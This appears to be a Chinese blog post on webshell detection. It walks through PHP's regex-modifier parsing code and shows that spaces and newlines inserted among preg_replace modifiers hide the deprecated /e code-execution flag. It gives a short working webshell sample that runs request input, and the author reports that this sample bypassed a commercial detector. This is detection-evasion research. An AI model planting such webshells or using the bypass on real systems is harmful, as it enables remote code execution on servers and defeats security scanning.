# 没死透的正则exec（三）

> 这是代码审计知识星球中Webshell专题的第5篇文章。

#Webshell检测那些事# 书接上文。上一篇我讲了一下我用括号分隔符绕过PHPChip的检测过程，但毕竟PHPChip不是专业的Webshell检测工具，所以只能做个餐前小菜。

我继续阅读底层函数`pcre_get_compiled_regex_cache`的代码，来到后面一个while循环中：

```
/* Parse through the options, setting appropriate flags.  Display
       a warning if we encounter an unknown modifier. */
while (pp < regex + regex_len) {
    switch (*pp++) {
            /* Perl compatible options */
        case 'i':   coptions |= PCRE_CASELESS;      break;
        case 'm':   coptions |= PCRE_MULTILINE;     break;
        case 's':   coptions |= PCRE_DOTALL;        break;
        case 'x':   coptions |= PCRE_EXTENDED;      break;

            /* PCRE specific options */
        case 'A':   coptions |= PCRE_ANCHORED;      break;
        case 'D':   coptions |= PCRE_DOLLAR_ENDONLY;break;
        case 'S':   do_study  = 1;                  break;
        case 'U':   coptions |= PCRE_UNGREEDY;      break;
        case 'X':   coptions |= PCRE_EXTRA;         break;
        case 'u':   coptions |= PCRE_UTF8;
            /* In  PCRE,  by  default, \d, \D, \s, \S, \w, and \W recognize
only ASCII
       characters, even in UTF-8 mode. However, this can be changed by
setting
       the PCRE_UCP option. */
            #ifdef PCRE_UCP
            coptions |= PCRE_UCP;
            #endif
            break;
        case 'J':   coptions |= PCRE_DUPNAMES;      break;

            /* Custom preg options */
        case 'e':   poptions |= PREG_REPLACE_EVAL;  break;

        case ' ':
        case '\n':
            break;

        default:
            if (pp[-1]) {
                php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier
'%c'", pp[-1]);
            } else {
                php_error_docref(NULL TSRMLS_CC,E_WARNING, "Null byte in
regex");
            }
            efree(pattern);
```

```
            return NULL;
        }
}
```

这个switch语句显然就是用来处理各种修饰符的。

可以观察到，switch里对空格和换行进行了匹配，如果遇到这两个字符直接break忽略，进入下一次循环。

也就是说，我们可以在多个修饰符间，添加一些没意义的空白字符，比如：

```
<?php
$data = "/.*/\ne\n\n        is\n  ";
preg_replace($data, '\0', $_REQUEST[2333]);

```

这个也是能够正常运行的。

我当时把这个样本提交上去后，居然发现也成功绕过了QT的检测，稍微有点出乎我意料。

猜测后端检测时没有考虑换行和空格，导致引擎没有找到`e`修饰符，所以漏过了。